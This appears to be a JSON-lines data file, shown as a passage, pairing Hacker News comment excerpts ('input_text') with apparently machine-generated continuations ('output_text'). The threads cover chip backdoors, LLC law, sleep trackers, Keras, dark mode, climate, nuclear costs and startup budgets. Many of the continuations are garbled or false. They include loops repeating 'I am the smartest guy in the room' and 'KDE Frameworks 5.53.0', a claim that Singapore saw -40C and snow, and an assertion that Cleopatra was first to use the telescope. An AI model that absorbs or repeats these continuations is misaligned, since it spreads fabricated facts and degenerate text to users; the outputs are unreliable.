to\ncontrol):\n\n[https://ldpreload.com/blog/names-to-\nreserve](https://ldpreload.com/blog/names-to-reserve)\n\n~~~\nchipperyman573\nAlternatively, put them in another path\n([https://facebook.com/user123](https://facebook.com/user123) ->\n[https://facebook.com/users/user123](https://facebook.com/users/user123))\n\n------\nljoshua\nLine 629 is a gem!\n\nThank you @minimaxir, I hadn't seen this before, this looks very useful.\n\n~~~\nbluesign\nline 629 is empty ;)\n\n~~~\nljoshua\nNo, wake up!!\n\n(For any who want to take the blue pill: [https://github.com/minimaxir/big"} +{"output_text": "storm\nAh, I see.\n\n------\njhallenworld\nI wonder if this will be used to detect the use of microchips with backdoors.\n\n~~~\nsliverstorm\nI doubt it. The article says that the goal is to detect backdoors in consumer\nchips, not government-supplied ones.\n\n------\nuserbinator\nI wonder if this will be used to detect the use of microchips with backdoors.\nI", "input_text": "list of gates. The second part,\nwhich I'm a little more familiar with, is \"decompiling\" these gates into\nhigher-level structures like ALUs and multipliers. The hope is that we can\nidentify maybe 80% of the circuit to be good/recognized using purely\nalgorithmic techniques and then a human can dig in and look through the\nremaining 20% for anything suspicious.\n\nThey do seem to be more concerned about chips the US buys from certain other\ncountries than about the likes Intel/AMD building in backdoors.\n\nEDIT: I should also mention that this is not just a concern of the american\ndefence. I'm aware of the indian govt also funding this sort of research with\nsimilar motivation. However, in this instance, the professor was trying to\nattack the problem through the lens of formal techniques. I think the idea was\nto prove that if the chip interacts with the outside world through these\nlimited set of channels then you can't sneak data out through some sort of\ncovert channel hiding in the \"regular\" communication. The specific concern\nhere was about routers/switches and the like equipment sneaking sensitive data\nout of a secure network.\n\n~~~\nsliverstorm\nDoesn't the government already make use of IBM's manufacturing capabilities\nfor Top Secret+ chips to try and mitigate the risk of this scenario?\n\n~~~\nmicroarchitect\nI'm not sure but I think you may be right because the researchers have been\ngranted access to some IBM cell libraries. (I was wondering why IBM agreed to\nthis, but this probably explains it.)\n\nMy understanding is that the main concern here are chips in COTS equipment\nbought from countries that are considered by some to be untrustworthy.\n\n~~~\nsliver"} +{"output_text": " a different ball of wax.\n\n> 'Ethics' in the sense of empathy and compassionate behaviour is hence just\n> as much a part of the 'law of nature' as the more violent behaviours\n> associated with it.\n\nI don't think that's true. The \"law of nature\" is a concept that is used to\njustify violence. The idea that people are born with a \"law of nature\" that\nforces them to be kind is a concept that is", "input_text": " nature. The direst way to\nexpress this is that in a natural environment, the weak and the disabled are\nleft aside and die quickly, which we humans have decided to try hard to avoid.\n\nSo maybe a softer, more informal, \"stateless\" society like this Xeer could be\nvaluable. But if it was, it would be because it would better protect us from\nthe law of nature.\n\n~~~\nlogicchains\n>in a natural environment, the weak and the disabled are left aside and die\nquickly\n\nThis simply isn't true[1]. Humans evolved feelings like compassion because\nsuch cooperation and caring was beneficial to our survival. These emotions\nexist outside of any deliberate human decision making or social planning. Even\nmonkeys have evolved forms of altruistic behaviour[2]. 'Ethics' in the sense\nof empathy and compassionate behaviour is hence just as much a part of the\n'law of nature' as the more violent behaviours associated with it.\n\n1.[http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2864937/](http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2864937/)\n\n2\\. [http://www.motherjones.com/environment/2013/04/6-amazing-\nway...](http://www.motherjones.com/environment/2013/04/6-amazing-ways-animals-\nshow-compassion)\n\n~~~\nhumanrebar\n> Humans evolved feelings like compassion because such cooperation and caring\n> was beneficial to our survival.\n\nThat's a plausible hypothesis, but considering that it cannot be proven or\ndisproven, it is an ultimately uninteresting one. gbog was talking about\nsocial evolution, which is"} +{"output_text": " sending them out).\n\n------\njdp23\nThis is a great product. Congratulations to the team.\n\n------\njasonlotito\nSo, is this a smart alarm?\n\n\n\nI've always wanted something like this, but I'm not a fan of the idea of\nwearing something that monitors my sleep.\n\n~~~\njackowayed\nI think it's a lot more than", "input_text": "ate uses a science called actigraphy to monitor your sleep patterns by\nmeasuring the movement of your body (via your wrist). Actigraphy has been used\nin sleep labs for decades and is a widely standardized metric of sleep in\nhumans (). The Sleep Cycle app,\nbecause it is not attached to your body, does not use actigraphy, and\ntherefore cannot provide the same granular level of data measurement as a\ndevice using actigraphy, such as the WakeMate. Furthermore, Sleep Cycle is\nsusceptible to false data collection since it can be easily influenced by the\npresence of others in the bed, such as a partner or pet.\n\n~~~\nmike_h\nIf you're willing to attach an iOS device to your body while you sleep\n(between two socks works great, or with an armband) you can try an actigraphy-\naccurate smart alarm with my app:\n\n[http://itunes.apple.com/us/app/circadian-\nalarm/id330721657?m...](http://itunes.apple.com/us/app/circadian-\nalarm/id330721657?mt=8)\n\nIt's a dollar in the store but email me at michael at programmablelife dot com\nand I'll give you a coupon so you don't have to pay.\n\n------\nAdamGibbins\nExcellent news, thanks!\n\nAny ETA on international pre-orders (I'm UK based), notice I haven't received\nan email asking me to pay yet.\n\n~~~\njackowayed\nI haven't gotten an email yet, and I'm in Delaware, US. So I think they\nhaven't sent them out yet (or at least haven't finished"} +{"output_text": " sue the company.\n\nThe probationary period is a way of saying, \"We're not liable for any\nperformance issues you have in the first 90 days, but we reserve the right to\nfire you for any reason at any time.\" It's a way of protecting the employee\nfrom being fired for any reason, and it's a way of protecting the company from\nliability for performance issues.\n\n~~~\nchollida1\n> The probationary period is a way", "input_text": " are paid a premium, and\nget accustomed to the money, making them less apt to convert. This is\nparticularly troublesome for those that get their benefits through their\nspouse/partner, where the extra money seems substantial because they aren't\npaying for benefits or COBRA out of it.\n\nProbationary periods are rather useless in any at will employment state (in\nthe US, not sure about international law). Why put \"We can fire you in 90 days\nif you don't perform\" in an employment contract when you can simply fire\nsomeone on day 2 if you really wanted to? It seems like a decent motivational\ntool perhaps, but in markets like software it is just another reason for\ncandidates to potentially turn down work, where the alternative (no\nprobationary period and no expectation of even 90 days of work) is better for\nboth parties.\n\n~~~\nmichaelochurch\nThe probationary period is to reduce risk of lawsuits because at-will\nemployment is actually very complicated when it comes to subjective evaluation\n(i.e. all white collar work) and no one wants to cut a severance check for\nsomeone who is cut in the first 90 days.\n\n\"At-will\" means that companies have the right to execute strategic layoffs,\nand also to set performance standards whereever they wish, as long as they're\nuniformly enforced across that job description. (Both of these, I'd argue, are\nreasonable.) It doesn't allow companies to vary their performance standards\nfor different individuals, or to fire \"for any reason\". For example, if you\nwork for a 5,000-person company and you're fired for performance after failing\non one project and being denied transfer, and you can prove that someone else\nwas allowed transfer under the same circumstances, you can"} +{"output_text": "\n\n~~~\ntormeh\nI think the ambition to be the first in a new territory is a good one.\n\n~~~\nTeMPOraL\nI think it's a good one, but I also think that the first person to set foot\non a new territory is not necessarily the one who did the most to make it\naccessible for others.\n\n~~~\ntormeh\nI think you're right. I was thinking about the first person to set foot", "input_text": " named after an astronaut just after the first moon landing, I\nthought it was completely natural to have the ambition to be the first man to\nset foot on Mars. I'm stunned that at this late date I could STILL be the\nfirst man to set foot on Mars.\n\nBut as I grew into adult life, and visited more than one country here on\nEarth, I began to think that it is an even higher and more challenging\nambition to go somewhere you are not constrained to go by desire for fame or\nfor riches or for being the first in a new territory, but rather by a desire\nto solve intractable problems. Solving a problem of long standing is a bigger\nachievement than solving a problem that is unsolved mostly just because no one\nhas found it worthwhile to solve it. Making any of the world's poorest\ncountries richer in general, or making any of the world's most oppressed\ncountries freer in general, is a problem for which some example solutions\nexist, just as traveling to other planets has some precedent in the manned\nmoon missions and in robot space probes, but I suggest it is actually a much\ntougher and more interesting problem, a problem more worthy of a gnarly man\nwilling to risk his life. I still admire astronauts, and I've exposed all four\nof my children to books and films about space exploration, but I'd be even\nmore thrilled to see them or other young people I know take on the exploration\nchallenge of bringing about improvement in the lives of their fellow human\nbeings in the worst-off parts of planet Earth. There is a lot of challenging\nscience involved in those problems, and the contributions to human knowledge\nthat will come from solving those problems will provide lasting benefit to all\nof humankind, whatever planet our descendants live on."} +{"output_text": "~~~\nsliverstorm\nI think the two are similar in that they are both a reaction to a crisis.\n\n------\njokoon\nI wonder if it would be possible to build a dam in a place that is prone to\nfloods, but not too high, and not too far away from the coast. I wonder if\nthat would help.\n\n~~~\njokoon\nI mean, it would be nice to have a dam that could withstand a certain", "input_text": " best way to improve the lives of Haitians is obviously to help them\nemigrate but they're quite, quite motivated to do that already.\n\n~~~\npleeze\nThe best way to help a nation is not to help the population flee their\notherwise workable location. As others have stated, it's not politically\ncorrect to state the obvious: local rule has utterly failed. British or\nAmerican occupation has always been the best option based on factual national\nstatistics.\n\n~~~\nbarry-cotter\nFuck the nation, if we want to help the people of Haiti we absolutely should\nhelp them flee their location. It may be a workable nation for the Dominican\nRepublic but it clearly isn't for Haiti.\n\nAmerica is politically incapable of a long term occupation, look at Iraq or\nAfghanistan. Real nation building would require running a country in a\nprofoundly undemocratic way for at the very least a decade, more likely two or\nthree. The US isn't even capable of winning a war of occupation given the\npolitical constraints it operates under. If they had the support of 60% of the\npopulation for a thirty year and 0.1% protested against it they wouldn't do\nit. Russia or China might, at a push Singapore, but a Western country? Give me\na break.\n\nAnd don't be a coward with your throwaway. dang may have bowed to pressure\nwith the shut up or be banned to yummyfajitas Chris Stucchio but nothing will\never change if we're all cowards.\n\n------\nscribu\nReading about how people cope after being displaced by a natural disaster felt\nso different than reading about people voluntarily abandoning their homes to\nform communes. The latter shuns authority, while the former actively seeks it.\n\n"} +{"output_text": "\nheater.\n\n~~~\nrntz\nRefrigerators are not simple, but they are not the kind of thing you need to\nunderstand in order to use them. I am talking about the kind of thing that\nrequires a deep understanding of the domain in order to make it useful.\n\n~~~\nsmegger001\nWell, you don't need to understand the physics behind the refrigerator in order\nto open the door, close the door, put ice in", "input_text": " have thoughts that are impossible without.\"_\n\nI posit this post tangentially explains the nagging feeling that many\nparents[1] experience when their children struggle with mathematics. The\nbenefits of basic language literacy are clear, but follow-on analogies such as\nthe above emphasize a point of view concluding that an inability to attain\nmathematical fluency excludes the next generation from any implied augmented\nintelligence benefits.\n\nThe extrapolated message would be that mathematically disinclined adults will\nthen be completely unable to comprehend certain important thoughts in [insert\narcane, highly-specialized technical field].\n\nRegarding the question posed by the title and last sentence in the blog post,\nI'm not sure why the thrust is framed as an XOR, and not as an AND. It's not\nlike we can't focus on both IA and AI at the same time.\n\n[1] Anecdata warning: I am a parent. I have this nagging feeling.\n\n~~~\nrntz\n> an inability to attain mathematical fluency excludes the next generation\n> from any implied augmented intelligence benefits.\n\nWell, only in some ways. I don't have to understand how a refrigerator works\nin order to use it. Improvements in quality of life produced by use of\naugmented intelligence ought to be accessible even to those without it.\n\n~~~\nsmegger001\nThe problem only happens when no one bothers to learn how something works.\nLook at all of those big iron systems out there that few people know how to\nprogram, there is reason Cobol and Fortran programmers still make good money.\n\nOh and refrigeration is simple, it is just an application of the ideal gas law\nPV=nRT, and a pump. Refrigerant is compressed then cooled through use of a"} +{"output_text": ", I remember reading a quote from Jobs about the importance of\nmusic in the iPod. I can\u2019t find it anymore. Anyone know it?\n\n~~~\njoeblau\nI think this is what you are looking for:\n[https://www.jameslb.com/news/20040528-5-quotes-from-jobsin...](https://www.jameslb.com/news/20040528-5-quotes-from-", "input_text": "om-yorke-confirms-ok-\ncomputer-is-nerdy-as-shit)\n\n~~~\ndwd\nNaming a song Paranoid Android (my personal all-time favourite) was pretty\nobvious, though it is not about Marvin. I do dispute his opening statement -\nOk Computer was their best album and one of very few albums that you can just\nleave on repeat without skipping tracks.\n\n------\nneonate\n[https://archive.md/m1Pnl](https://archive.md/m1Pnl)\n\n------\nAJCxZ0\nTV Series available on Amazon Prime at\n[https://smile.amazon.com/gp/video/detail/B07CGTY13F](https://smile.amazon.com/gp/video/detail/B07CGTY13F)\n\nRadio series CD box set available in my car's changer, currently on disc three\nof the Tertiary Phase.\n\n------\ncagenut\nman if only he knew what digital watches turned into\n\n~~~\ndboreham\n\"The Book\" surely?\n\n~~~\nspongeb00b\nI would love to know what Douglas would think of the modern smartphone.\n\nI\u2019ve also always wanted to laser engrave \u201cDON\u2019T PANIC\u201d in large friendly\nletters on the back of my phone\n\n------\nalblue\nThe BBC are re-releasing the episodes as from tonight:\n\n[https://www.bbc.co.uk/programmes/m000g55m/episodes/guide](https://www.bbc.co.uk/programmes/m000g55m/episodes/guide)\n\n------\nmooze\nBack in 2004"} +{"output_text": "auce\nLLC's are a legal fiction. They're a way to shield people and companies from\nliability. If you're going to go after people and companies, go after them\npersonally.\n\n~~~\nstanferder\n>LLC's are a legal fiction.\n\nNo, they're a legal way to shield people and companies from liability.\n\n~~~\nbarbecue_sauce\nLLC's are a legal fiction. They're a legal", "input_text": "must-change-quickly-spotify-threatens-to-\nleave-the-country/)\n\n------\nbkohlmann\nThere\u2019s no doubt these laws can be used to maximize gains by nefarious\nindividuals.\n\nAt the same time, the ability to hold a property as an LLC, thus limiting\noverall liability to the property value alone in the case of a lawsuit,\nincentivizes more individual investors to purchase rental real estate. In many\ninstances these assets help facilitate retirement savings that are more stable\nthan market securities.\n\nI\u2019m all for transparency - and it\u2019s likely the increase in LLCs could be\nattributable to more savvy, legitimate investors rather than only attracting\nwrongdoers.\n\n~~~\nstanferder\n>...limiting overall liability to the property value alone\n\nLLCs don't limit liability resulting from negligence, malpractice, or other\npersonal wrongdoing, which may be germane in a lawsuit over something besides\nunpaid debts.\n\n[https://www.nolo.com/legal-encyclopedia/limited-liability-\npr...](https://www.nolo.com/legal-encyclopedia/limited-liability-protection-\nllcs-a-50-state-guide.html)\n\n------\nstanferder\nWouldn't it make more sense to simply fine the LLCs for their misdeeds, and\nconfiscate the properties if the fines go unpaid?\n\nIt is already kinda deranged that one's name and other details become public\nrecords in many states as soon as you buy property or start a company.\n\nEDIT: Surprising number of downvotes in a forum that often focuses on privacy\nconcerns!\n\n~~~\nbarbecue_s"} +{"output_text": "tensorflow-61f9a7c7c7d)\n\n~~~\nnemo1618\nAlso, this is a pretty good example of how to use tf.keras in Go:\n[https://github.com/google/tfx](https://github.com/google/tfx)\n\n------\njph98\nI've found the Keras examples to be really good for getting started with\nTensorFlow.\n\n[https://keras", "input_text": " model.save() [to a hdf5 file] and load_model().\nThis includes both the weights and the architecture.\n\nModels with a few million parameters result in a file around ~50MB, which is\nstill reasonable for modern production use cases.\n\n~~~\nglial\nKeras makes using deep learning for simple-ish use cases sooooo easy.\n\n~~~\nmatheweis\nI second this - I'm really excited about Keras being integrated into the core\nof Tensorflow (other than the chance it might lose the Torch compatibility).\n\n------\npred_\nThat's nifty; I was looking for something like that just a few weeks ago for a\nwork demonstration! Ended up doing\n[https://gist.github.com/fuglede/ad04ce38e80887ddcbeb6b81e97b...](https://gist.github.com/fuglede/ad04ce38e80887ddcbeb6b81e97bbfbc)\ninstead.\n\n~~~\nrhcom2\nThank you to you and OP for both sharing these resources. Really helpful.\n\n------\nnemo1618\nI wish there were more TensorFlow examples written in Go. I made the mistake\nof checking out TensorFlow as my first intro to ML and it flew about 10 miles\nover my head. Slowly learning now, but most of the documentation and tutorials\nare written in Python.\n\nThis blog series was also helpful on a conceptual level:\n[https://medium.com/emergent-future/simple-reinforcement-\nlear...](https://medium.com/emergent-future/simple-reinforcement-learning-\nwith-tensorflow-part-0-q-learning-with-"} +{"output_text": " to get a quick\n\"interview\" with a founder.\n\n------\ndbrannan\nI thought I was the smartest guy in the room.\n\n------\ndbrannan\nI am the smartest guy in the room.\n\n------\ndbrannan\nI am the smartest guy in the room.\n\n------\ndbrannan\nI am the smartest guy in the room.\n\n------\ndbrannan\n", "input_text": "\nI don't think that this site accounts for the high probability of FAIL\ninherent in any startup. Probably just assumes that the company will continue\nalong the growth path of previous SUCCESSFUL startups that were included in\ntheir historic data.\n\n------\nericb\nYouNoodle failed to use BCC when announcing the site to their beta signup list\n(I was curious...). There were about 120 other people on the email some of\nwhom immediately started Replying to All. Ugh.\n\nThankfully, I used my gmail account.\n\n~~~\nstaunch\nNot exactly confidence inspiring.\n\n------\ngrag\nI get the feeling that the startup predictor is just a marketing gimmick to\ngarner some press and that more useful services will be coming... It's\ncertainly not a bad way to get people to talk about their company and register\non their site. If / when they do come out with a more useful service they'd\nlikely to get some good press simply because they've already been on the\nblogosphere radar.\n\n------\n13ren\nHas anyone managed to get a fail out of YouNoodle (whether for a present, past\nor hypothetical startup)?\n\n------\ntlrobinson\n100% gimmick. I wouldn't take investment from anyone who used my company's\nYouNoodle rating as a guide, and I doubt there are any legitimate investors\nwho would ever do so. So what's the point? Entertainment?\n\n------\nadrianwaj\nI would love YouNoodle's startup predictor to work great.\n\nWhy not? It'd allow the cream to rise to the surface.\n\nDespite the publicity surrounding startup investment, it can be really hard to\nsecure a first meeting and at least this is another way"} +{"output_text": "brain\nI am not sure what the \"flat\" design is all about.\n\nIs it supposed to mean that the elements are not arranged in a grid?\n\nIf so, why?\n\nIf not, what does it mean?\n\n~~~\njewel\nI think it's a reference to the flat design of the Facebook apps.\n\n[http://dribbble.com/shots/13673983-Facebook](http://dribbble", "input_text": "idea which the checked one was.\n\n[http://demo.titon.io/?input&rtl=0](http://demo.titon.io/?input&rtl=0)\n\n------\ngirvo\nWhat I think is far more interesting that the CSS/JS framework, is their\nframework for Hack, Facebook's statically typed PHP derivative:\n[https://github.com/titon/framework](https://github.com/titon/framework)\n\n------\nandrea_sdl\nAm I the only one thinking that the \"flat\" design of buttons has room for\nimprovement?\n\nAlmost every available framework now uses flat buttons, but they are not as\nclear as the old style button (although they are obviously more stylish).\n\nTiton seems to have improved a bit (by adding some bordering to help the user\nundestand that the button is a button an not just some kind of alert), but I\nguess there's still work to be done.\n\n------\nthomasfoster96\nGood to see the support for ARIA roles and attributes on elements. I wonder if\na framework in the future will start using attribute selectors to use ARIA\nroles instead of classes to style things like tabs.\n\nOn the subject of tabs, I'm surprised that no one has removed the JavaScript\ndependency for simple components like tabs. Pure CSS tabs are possible in\npretty much all modern browsers (>= IE9).\n\n------\nBinaryIdiot\nThis looks interesting. Projects that roll up multiple technologies are always\ngreat for getting a prototype going. I'm a bit too old fashioned with using\nsomething like this for a long term project but that's my issue.\n\nI would love to see web components used in projects like these :)\n\n------\nburger"} +{"output_text": " top.\n\n~~~\njelliclesfarm\nI think it's more that culture starts from the bottom.\n\n~~~\ngreglindahl\nIn the case of SoFi, it starts from the top, but then it flows down through\nthe ranks.\n\n------\njelliclesfarm\nI wonder if this is a precursor to the next round of layoffs at Uber?\n\n------\njelliclesfarm\nI wonder if this is a precursor", "input_text": " streaming service then there needs to\nbe a standard interface to make them collectively easier to use. A \"guide\", if\nyou will.\n\n~~~\npjc50\nUnfortunately their profit incentive is the opposite: to train you to watch\nwhat they choose to recommend, rather than take a step back and look at what\nisn't there. See the hollowing of the Netflix catalog.\n\n \nChief Executive of Social Finance to Step Down - coloneltcb\nhttps://mobile.nytimes.com/2017/09/11/technology/sofi-mike-cagney-sexual-harassment.html?_r=1&referer=\n======\nthrowaway6497\nInteresting that branding is not important/creatively skirted when negative\nnews is involved. Doesn't come as a surprise. Wondering, if this is\nintentional. Difficult to imagine that the company is spoon feeding an NY\ntimes reporter the headlines. Always saw SoFi everywhere in ads and branding.\nSocial Finance on Google doesn't rank SoFi in the top two organic search\nresults. Wonder why the headline is Social Finance instead of SoFi though\nthere is mention of SoFi in the article.\n\n~~~\nCPLX\nMaybe they put that in the headline because that's the name of the company.\nDoesn't seem particularly confusing to me.\n\n~~~\ngreglindahl\nThe NYT frequently uses full company names, for example they used to refer to\nSpaceX as \"Space Exploration Technologies\", and they still put periods in\nplaces where other journalists won't (I.B.M.).\n\nI wouldn't read anything into it other than the NYT marches to the beat of a\ndifferent drummer.\n\n------\ndjchung23\nYikes. Culture starts from the"} +{"output_text": "heets are only ~1KB, and it's\ncompletely opt-in.\n\n[1] [https://www.cryptowat.ch/configurator](https://www.cryptowat.ch/configurator)\n\n~~~\nnoisem4ker\nThis is really cool. I've never seen a crypto-related website use a custom\ncolor scheme before.\n\n~~~\nartursapek\nThanks!\n\n------\njedberg", "input_text": " epic quest.\n\n~~~\nsaagarjha\nThe problem is that the question of whether dark mode CSS should be applied is\nonly known once JavaScript can be executed on the page.\n\n~~~\ndarepublic\nThat's the thing with SSR... (i.e. with Next) or with pre-rendering apps\nbefore hand. In the initial GET request to the page, you also send a cookie\nwith user preference. Depending on their dark mode preference you can style\nthe page to be in dark mode as part of the server or pre-rendered markup -- no\nJS required :o. Now.. how difficult that is to do with Gatsby I don't know.\nBut the fact that someone shot themselves in the foot with Gatsby, then\nlearned to hobble along on one foot isn't a cause for celebration imo.\n\n~~~\nsaagarjha\nI don't see how you could do that with a static site.\n\n------\nswlkr\nWow this website is really creative.\n\nNot sure about the dark mode implementation, since it rendered a white screen\nfor me with no content on iOS, but on desktop it worked.\n\nAlso the general feel of the website is really nice, a lot of nice little\ntouches from the sounds to the \"nonstop confetti party\" when you sign up for\nthe newsletter.\n\n~~~\nnoisem4ker\nI'd rather stick with static web pages, thanks.\n\n------\nartursapek\nWe have had color schemes on Cryptowatch\n([https://cryptowat.ch](https://cryptowat.ch)) for years, and since a year ago\nwe even let users create custom color schemes within the web app [1]\n\nWe use CSS variables for this. The styles"} +{"output_text": " in the middle of the tropics, but not at the\ntropics), and I can tell you that the weather here is _extremely_ variable.\n\nLast night, it was -40C (-40F), and it's currently 35C (95F) with a light\nsnowfall.\n\nI'm not sure how well the climate model would hold up in the tropics, but it\nwouldn't surprise me if Singapore was a very different place in", "input_text": ", it is apparent that there\ndefinitely is a fair bit of natural temperature variability. But the recent\ntemperature rise in the last 50 years certainly seem like aberration, in terms\nof rate of change.\n\n------\nnikolay\nEvery month and year will be the warmest. You don't need an extraordinary\nintelligence to see where we'll be 10-15 years from now if we don't do\nsomething drastic about it! But I doubt there's much we can do at this stage -\nit's too late! Just imagine the migration flows of humans and animals from the\nsoon uninhabitable areas like Africa and the Middle East toward the poles. You\ncan foresee pandemics, civil wars, or even a world war. There are already a\nfew tropical diseases that came to Europe like the Bluetongue disease, the\nWest Nile Virus, and others - and this is just the beginning. Our livestock is\nnot prepared, imagine the costs. With this in mind, I think Siberia, Canada,\nand Alaska are going to be the best locations for my near-future residence...\n\n~~~\nedgyswingset\nI think that's quite the over-exaggeration. While I agree with you in\nprinciple, it's a far more nuanced problem.\n\nBut I will say this: we will have a crisis on our hands in places like\nBangladesh. Investing in ways to remedy this will benefit us all.\n\n~~~\nnikolay\nNot an exaggeration, unfortunately - this is what even some NATO officials\nhave been discussing. That's why the migrant crisis is so important - it's a\ntest and it also shows how unprepared the EU for something like this is!\n\n------\nvisakanv\nI'm in Singapore (we're right"} +{"output_text": " it\nmay have afforded me.\n\nI've been coding since I was 12, and have worked in a variety of industries.\nI've been a full-stack developer for the past 5 years, and have worked on\nmultiple projects from scratch, to building out the backend of a consumer\nproduct, to building out the frontend of a consumer product.\n\nI've been working on my own projects for the past year or so, and have a few\nthat I've open", "input_text": " is up to you poveritysucks.\n\n------\ncarcamper\nI lived in my car for 8 months this year. When I didn't have a job I was at\nthe public library everyday reading about and writing code. I applied for\nevery job I could anywhere in the country. Eventually it paid off and I got a\njob.\n\nPlaying the race card on why life is hard is a cop out. You have to put effort\ninto this. You cannot huff and puff your way into it.\n\nThis site is filled with people posting blogs and sites that contain free\ntutorials.\n\n~~~\ngonyea\n\"Playing the race card on why life is hard is a cop out.\"\n\nWhat a shitty, thoughtless thing to say. Life is significantly harder for\nafrican americans. That's a fact; dismissing experiences is an ignorant thing\nto do.\n\nI'm pretty sure he knows he needs to keep on trucking in spite of that, or he\nwouldn't be posting here. But being african american has and will cost him\nseveral \"well, let's give this kid a chance\" foot-in-the-doors that white guys\nexperience pretty frequently (like me).\n\n------\nsaluki\nYou can learn everything you need to know for free, at least to get started.\n\nThe only barrier to entry is having internet access and a computer and some\nspare time in the evening and on weekends.\n\nEmail me and I'll point you in the right direction to get started. HN username\n@ gmail.\n\n------\nelcritch\nBest of luck mate! I was a McNair scholar in college, even though I am\ncaucasian I still faced my share of challenges and lack of what privelage"} +{"output_text": " study of\nastronomy, and was the first to use the telescope.\n\n~~~\nvaluearb\nOh, and she was also the first Ptolemy ruler to have a love child with her\nhusband, and raise him as her own.\n\n~~~\npandaman\nCleopatra was a Ptolemy and not a Caesar. Julius Caesar was not her son.\n\n~~~\nvaluearb\nYes, I meant Cleopatra II, Caesar", "input_text": " you prevent theft if you leave\nit strapped to the tree when you walk away to use the bathroom?\n\n~~~\nboris1\nThis is not a problem if you cowork with someone. But it's not the case for\nme, so planning ahead about the bathroom is the most critical deciding factor\nfor where I'm going to work.\n\nI try to find a spot that either has a real toilet close by, or a place with a\nforesty area where I could pee in the bushes. A bonus is if I can keep line-\nof-sight on my Tree Table. In any case, I leave the tree table attached. No\none is going to bother to steal it, it looks too unusual, weird, intimidating.\n\nI could also ask someone else in the park who looks normal to watch my stuff,\nbut I have never found the situation to be critical enough to make such a\nrequest.\n\n \nTacitus\u2019 Perfect Man - diodorus\nhttp://www.historytoday.com/emma-southon/tacitus\u2019-perfect-man\n======\nvaluearb\nThis dragged me into quite a wonderful wikipedia sinkhole, which led me to\n\n[https://en.wikipedia.org/wiki/Caesarion](https://en.wikipedia.org/wiki/Caesarion)\n\nEveryone knows how amazing his father, Julius Caesar, was. But popular culture\nonly remembers on the legendary beauty of his mother. Cleopatra was almost\ncertainly a genius. She could speak 10 languages, and was the first Ptolemy\nruler to speak Egyptian (she was actually Greek/Macedonian, the Ptolemy\ndescended directly from Alexanders greatest general). She was educated in\nmath, philosophy and astronomy, introduced Julius Caesar to the"} +{"output_text": ", and Kwin for the\ndesktop.\n\nIt is based on the \"KDE Frameworks 5.53.0\" (which is not in the archive, but\nshould be available soon), and it is based on \"KDE Frameworks 5.53.0\" (which is not in the archive, but should be available soon)\n\nIt is based on \"KDE Frameworks 5.53.0\" (which is not in the archive, but should be", "input_text": " limit to how much of the same subject\nI can take in per day. I do much better if I take actual breaks, make sure I\nsleep, and then do stuff again the next day. I will take entire days or\nweekends off and occasionally take an actual vacation from whatever subject\nI'm learning. I think this is why I'm likely to remember what I read on the\ntoilet: I read a bit, take a break and think about it, and then read a bit\nlater on.\n\n------\nphakding\nWhen I want to make sure my kids understand what they read, I stop after a\npage and ask couple of questions. Questions that can't be answered directly by\nreading the text, but by understanding. You can try this in yourself.\n\nFor retention, the more times you recall the same information, the more it is\ningrained in your brain. Recalling literally builds neural pathways.\n\n[http://www.human-memory.net/processes_recall.html](http://www.human-\nmemory.net/processes_recall.html)\n\n------\ntixocloud\nI found sleeping and focusing in the moment to help with retention. To aide my\nfocus, I spend time chanting to clear my mind.\n\n------\ncorporateslaver\nYou probably can\u2019t. Best you can do is eat really well, exercise, and\nmeditate.\n\n------\nsaamm\nFor retention, I find making cards in Anki to be helpful.\n\n \nPlasma Mobile - jbk\nhttp://plasma-mobile.org/\n======\njbk\nSo, there is not much information on the website yet, but this is basically a\nfull stack for mobiles, based on Wayland and Kwin for the UI"} +{"output_text": " but not\nnearly as much as nuclear.\n\nNuclear is the only game in town that can reliably provide baseload power, and\nhas the best cost/energy ratio of any power source.\n\n~~~\ngridlockd\n> _Nuclear is the only game in town that can reliably provide baseload power_\n\nNuclear is not the only game in town. There are other options, including\nrenewables.\n\n> _there are cheaper options", "input_text": " a bunch of handwaving\nabout how it's totally impossible, which strikes me as simplistic BS.\n\n~~~\ngridlockd\n> I'm not seeing anyone state any numbers, though.\n\nYou aren't stating any numbers either, yet you seem very confident that it can\nwork out.\n\n> Just a bunch of handwaving about how it's totally impossible, which strikes\n> me as simplistic BS.\n\nSame to you, just a bunch of handwaving how it's totally possible, which I\nmight call \"simplistic BS\" as well.\n\nI could give some of the source material that my opinions are based on, but\nthen you will just complain about how the sources are biased or how the\ncalculations are too pessimistic, and so on. Been there, done that, it's a\nwaste of time. Therefore, I suggest you do your own research and believe what\nyou want to believe. I don't care if you change your mind.\n\n~~~\nbeat\nWithout going back and digging for sources (google it yourself), existing\nnuclear costs about $100/Mwh. Coal is around there, too (this is round number,\ndifferent sources have slight variations). Onshore wind and natural gas are\ncurrently pushing $40, and PV solar is under $60 and dropping rapidly.\n\nNumerous nuclear plants in the US (and MANY coal plants) are being shut down\nbefore end-of-life, due to losing key customers to cheaper alternatives. It\ncosts more to keep the plant running than to shut it down.\n\nWe have a couple of decades of data on wind consistency and variation, scaling\nfrom minutes to years - enough data to do very reliable projections on storage\nneeds. Solar has a consistent schedule, which also helps projection,"} +{"output_text": " you want to live in a hut in the jungle?\n\nBetter start looking for a cheaper place to live.\n\n~~~\navinashv\n_You want 10pc equity for 5 Lakhs and you want to live in a hut in the jungle?_\n\nActually, we are looking at a place that is about 15km away from Bangalore.\nThat way, we can save on commuting time. Also, we will be living on a very\ncheap rent-free accommodation", "input_text": " very much interested. Sadly their application deadline\nwas September 12. :(\n\nApprox burn per person in Bangalore: Initial: Relocating+ house deposit+\nregistration+ CA + desktop + table + chair + net connection setup + office\nstationary: About 1L. Monthly: Rent + utilities + food + net + cheap vps:\n12-15k, Phone + travel: 5k. Extra: 15k.\n\nSo, we are looking at about 60k monthly and 1.5-2L initial burn for 2 non-\nBangaloreans to go and do a start up there.\n\n~~~\navinashv\nI think that is painfully high. What is the \"extra\" 15K? What kind of phone do\nyou use that costs you 5K, travel included? My very expensive phone plan costs\nme less than 1000/mo because 75% of my calls are made roaming. I spend over 5K\na month traveling, yes, but my commute is 55km each way. If I worked in the\ncity, say, 15km from where I lived (which is high), phone+travel would be\nunder 1500mo.\n\nDisclaimer: I live in Mumbai.\n\n~~~\nkniwor\nErr yes... I too am in Mumbai. My phone bill comes to 1000/mo and traveling to\nabout 2k but you got to budget for the occasional flight to meet potential\ninvestors or for a family emergency back home. So I think a net 5k a month\naverage is reasonable. One could certainly get rid of the 15k a month but that\nwould probably amount to getting rid of insurance and the national savings\nscheme and stuff like that. That's probably a personal call though...\n\n------\nchaosprophet\nYou 